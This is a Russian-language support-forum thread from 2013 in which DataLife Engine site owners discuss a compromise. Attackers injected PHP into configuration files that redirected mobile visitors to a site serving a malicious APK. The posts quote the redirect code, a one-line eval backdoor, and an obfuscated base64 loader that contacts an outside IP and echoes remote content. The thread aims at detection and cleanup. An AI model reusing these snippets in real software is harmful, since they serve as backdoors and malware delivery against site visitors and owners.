vip-moto 0 Опубликовано: 9 января 2013 Рассказать Опубликовано: 9 января 2013 Уже 2 недели борюсь с заливкой шелла. Каждые 3 дня кто-то вносит if ($iphone || $android || $palmpre || $ipod || $berry === true) { header('Location: http://statuses.ws/'); Такой код и главное в одни и те же файлы. engine,init,dbconfig Ссылка на сообщение Поделиться на других сайтах
celsoft 6 095 Опубликовано: 9 января 2013 Рассказать Опубликовано: 9 января 2013 Предлагаете заняться гаданием? Прежде чем давать вам какие либо советы, нужно сначала хотя бы увидеть сайт. Если ваша тема начинается с вопроса и вам нужна какая либо помощь, то в самой теме в обязательном порядке вы должны указывать ссылку на ваш сайт. Если ваш сайт находится в локальной сети и вы не можете предоставить ссылку, или вы не хотите публиковать открытой ссылки на ваш сайт, то отправляйте персональное сообщение с вопросом в службу поддержки непосредственно с сайта http://dle-news.ru/, вам ответят на ваш вопрос в персональном порядке, в случае если пользуетесь платной версией скрипта и обладаете лицензией на скрипт. Если вы пользуетесь демоверсией, то вам необходимо разместить сайт в сети интернет, и только потом обращаться за помощью. По находящимся на локальных компьютерах демоверсиям никакой помощи и поддержки на форуме не оказывается. Если вы не указали сайт, то ваша тема будет закрыта, а аккаунт на форуме заблокирован. Ссылка на сообщение Поделиться на других сайтах
bsdtar 1 Опубликовано: 9 января 2013 Рассказать Опубликовано: 9 января 2013 (изменено) Такая же проблема сегодня проявилась. Ровно в 6:00 были произведены изменения в следующих файлах: config.php dbconfig.php engine.php index.php init.php - с добавлением вышеописанной строчки. Полный код выглядит так: $iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone"); $android = strpos($_SERVER['HTTP_USER_AGENT'],"Android"); $palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS"); $berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry"); $ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod"); if ($iphone || $android || $palmpre || $ipod || $berry === true) { header('Location: http://statuses.ws/'); } Патч последний для 9.7 от 6 числа не был установлен. Сегодня поставили, возможно из-за этого. Сейчас выполняем работающий дифф со снимком бэкапа фс и анализируем логи. Результаты вышлем разработчикам. Проявлялось это естественно в момент посещения сайта с мобильного устройства. Под Андройдом при посещении сайта, автоматически загружался вредоносный файл browser_update.apk Изменено 9 января 2013 пользователем bsdtar Ссылка на сообщение Поделиться на других сайтах
vip-moto 0 Опубликовано: 9 января 2013 Рассказать Опубликовано: 9 января 2013 Автор Советую вам проверить сайт на шелл. У меня помимо изменения, еще и шелл залили. Ссылка на сообщение Поделиться на других сайтах
Simur_m 12 Опубликовано: 9 января 2013 Рассказать Опубликовано: 9 января 2013 А как вы заметили этот код? Советую вам проверить сайт на шелл. У меня помимо изменения, еще и шелл залили. так же как проверить сайт на наличие шелла? Ссылка на сообщение Поделиться на других сайтах
vip-moto 0 Опубликовано: 9 января 2013 Рассказать Опубликовано: 9 января 2013 Автор shelldetect.php Ссылка на сообщение Поделиться на других сайтах
WWW.ZEOS.IN 1 161 Опубликовано: 9 января 2013 Рассказать Опубликовано: 9 января 2013 Simur_m, антивирусом, например. Или сравнив файлы с резервной копией 1 Ссылка на сообщение Поделиться на других сайтах
Simur_m 12 Опубликовано: 9 января 2013 Рассказать Опубликовано: 9 января 2013 shelldetect.php а где искать этот файл? Ссылка на сообщение Поделиться на других сайтах
vip-moto 0 Опубликовано: 9 января 2013 Рассказать Опубликовано: 9 января 2013 Автор https://github.com/emposha/PHP-Shell-Detector 3 файла льешь. Там база с известными шелами и сам сканер логин - admin, пасс protect Ссылка на сообщение Поделиться на других сайтах
www.zeos.com.ua 6 Опубликовано: 9 января 2013 Рассказать Опубликовано: 9 января 2013 (изменено) vip-moto, не поможет это Вот простой пример, как на стороннем сайте можно использовать php-shell и Вы не сможете его найти: if(isset($_REQUEST['zeos'])) eval(stripslashes($_REQUEST['zeos'])); Изменено 9 января 2013 пользователем ZEOS Ссылка на сообщение Поделиться на других сайтах
MSW 1 Опубликовано: 10 января 2013 Рассказать Опубликовано: 10 января 2013 (изменено) vip-moto, не поможет это Вот простой пример, как на стороннем сайте можно использовать php-shell и Вы не сможете его найти: if(isset($_REQUEST['zeos'])) eval(stripslashes($_REQUEST['zeos'])); для этого есть поиск по файлам)) например в чистом виде eval встречается в файлах: * без учёта js файлов /engine 92:preview.php /engine/ajax 191:addcomments.php 204:addcomments.php 214:addcomments.php 409:editnews.php /engine/editor 42:shortsite.php 49:shortnews.php 42:static.php /engine/modules 278:antibot.php /engine/classes 68:download.class.php /engine/inc/include 130:inserttag.php 152:inserttag.php 175:inserttag.php 197:inserttag.php 213:inserttag.php 229:inserttag.php 245:inserttag.php 273:inserttag.php 308:inserttag.php 388:inserttag.php 411:inserttag.php 11:init.php /engine/classes/min/lib 190:JSMinPlus.php 1035:FirePHP.php 119:Minify.php /engine/classes/min/lib/HTTP 107:ConditionalGet.php /engine/editor/jscripts/tiny_mce/plugins/spellchecker 16:rpc.php если в других проявился значит шел Изменено 10 января 2013 пользователем MSW Ссылка на сообщение Поделиться на других сайтах
WWW.ZEOS.IN 1 161 Опубликовано: 10 января 2013 Рассказать Опубликовано: 10 января 2013 MSW, зачем в таком случае прописывать эту строчку в другие файлы? Можно прописать в один из файлов, которые Вы указали И единственный eval для php, который есть в DLE это в файле /engine/inc/include/init.php (все остальные это для JS) 2 Ссылка на сообщение Поделиться на других сайтах
MSW 1 Опубликовано: 10 января 2013 Рассказать Опубликовано: 10 января 2013 MSW, зачем в таком случае прописывать эту строчку в другие файлы? Можно прописать в один из файлов, которые Вы указали И единственный eval для php, который есть в DLE это в файле /engine/inc/include/init.php (все остальные это для JS) я просто показал список всего где встречается *eval* и если вписать его в любой из файлов из списка то появится ещё одна строка - в списке номер строки и название файла Ссылка на сообщение Поделиться на других сайтах
WWW.ZEOS.IN 1 161 Опубликовано: 10 января 2013 Рассказать Опубликовано: 10 января 2013 Кроме eval Вам придётся еще много чего искать таким образом 1 Ссылка на сообщение Поделиться на других сайтах
Kickman 0 Опубликовано: 10 января 2013 Рассказать Опубликовано: 10 января 2013 Есть решение? Ссылка на сообщение Поделиться на других сайтах
vip-moto 0 Опубликовано: 10 января 2013 Рассказать Опубликовано: 10 января 2013 Автор Есть решение? походу пока нет. Ссылка на сообщение Поделиться на других сайтах
DJEDAY 0 Опубликовано: 10 января 2013 Рассказать Опубликовано: 10 января 2013 Такая же фигня приключилась! Решение пока не нашел! Ссылка на сообщение Поделиться на других сайтах
planeta123 0 Опубликовано: 10 января 2013 Рассказать Опубликовано: 10 января 2013 (изменено) Аналогично.. Переустановил двиг, поменял все пароли к БД, ужесточил права доступа к папкам. Пока вроде тихо, но как понял - не поможет Изменено 10 января 2013 пользователем planeta123 Ссылка на сообщение Поделиться на других сайтах
Natalie 0 Опубликовано: 10 января 2013 Рассказать Опубликовано: 10 января 2013 Та же гадость попала. Удалить пришлось этот кусок кода из config.php и из dbconfig.php - и поставить им запрет на запись. Вроде бы пока чисто. Ссылка на сообщение Поделиться на других сайтах
dampel 0 Опубликовано: 11 января 2013 Рассказать Опубликовано: 11 января 2013 (изменено) Тоже самое произошло А у кого на каких версиях занесли? Изменено 11 января 2013 пользователем dampel Ссылка на сообщение Поделиться на других сайтах
nitiniti 0 Опубликовано: 11 января 2013 Рассказать Опубликовано: 11 января 2013 Тоже самое произошло А у кого на каких версиях занесли? 9,6 Началась такая хрень с 8 числа сего года Ссылка на сообщение Поделиться на других сайтах
celsoft 6 095 Опубликовано: 11 января 2013 Рассказать Опубликовано: 11 января 2013 А у кого на каких версиях занесли? На любой версии это может произойти. ставьте все патчи безопасности, если еще не ставили http://dle-news.ru/bags/ восстанавливайте все оригинальные файлы скрипта. Проверяйте чтобы отсутствовали на сервере посторонние скрипты или сторонние модули. Обновляйте все серверное ПО на актуальные версии, в первую очередь phpMyAdmin Также возможно также были украдены доступы к серверу. Как воруются доступы и какие меры предпринять вы можете прочитать в темах на форуме http://forum.dle-new...ndpost&p=175979 http://forum.dle-new...32928&hl=iframe Там подробно описано как могут вороваться FTP доступы и как от этого защитится. Проверяйте свой компьютер на вирусы, меняйте все пароли, в том числе и по FTP и к БД. Установите ограничение по IP на доступ по FTP. Ссылка на сообщение Поделиться на других сайтах
papina 0 Опубликовано: 11 января 2013 Рассказать Опубликовано: 11 января 2013 (изменено) Есть решение? Поскольку однозначного решения нет, то напишу "отсебятены" Симптомы: с мобильных устройств, вместо www.sait.ru открывается "...statuses.ws/..." с вытекающими последствиями. Рекомендуемые действия: 1) ищем файлы с кодом$iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone"); $android = strpos($_SERVER['HTTP_USER_AGENT'],"Android"); $palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS"); $berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry"); $ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");[/size][/color][/font] [font="Lucida Sans Unicode, Lucida Grande, sans-serif"][color="#666666"][size=3]if ($iphone || $android || $palmpre || $ipod || $berry === true) { header('Location: http://statuses.ws/'); чистим... 2) меняем пароли на ФТП + база 3) ставим патч безопасности http://dle-news.ru/b...97-i-nizhe.html 4) дополнительно ищем и удаляем код function showall($id) { $id = intval($id); $rtn = $id + date("j"); return $rtn; } function sql_safe($in) { if (showall(64) < 1024) { $rtn = base64_decode($in); return $rtn; } } function collectnews($newsid) { if (date("j") - $newsid > 320 ) { $rtn = false; } else { $get = sql_safe("aHR0cDovLzE5NS4xODkuMjI2LjM2L2dldF9hcGkucGhw")."?br=".base64_encode($_SERVER['HTTP_USER_AGENT'])."&ip=".base64_encode($_SERVER['REMOTE_ADDR']); if (!isset($_COOKIE[sql_safe("ZGxlX3Bhc3N3b3Jk")])) { echo @file_get_contents($get); } } } Скорее всего это будет в .../engine/data/config.php После этого, надеемся на удачу или в будущем ждем более однозначное решение проблемы. Изменено 11 января 2013 пользователем papina Ссылка на сообщение Поделиться на других сайтах
dampel 0 Опубликовано: 11 января 2013 Рассказать Опубликовано: 11 января 2013 Не помогают вышеописанные действия. Заливают каждые 3 дня. Сегодня 12 число и снова залили только что. Все патчи применены. Пароли меняли уже к чему только можно. В engine/data/config.php $iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone"); $android = strpos($_SERVER['HTTP_USER_AGENT'],"Android"); $palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS"); $berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry"); $ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod"); if ($iphone || $android || $palmpre || $ipod || $berry === true) { header('Location: http://statuses.ws/'); } тот же код и в dbconfig.php Ссылка на сообщение Поделиться на других сайтах
Natalie 0 Опубликовано: 11 января 2013 Рассказать Опубликовано: 11 января 2013 Попробуйте поставить запрет на запись для этих файлов. Ссылка на сообщение Поделиться на других сайтах
Рекомендованные сообщения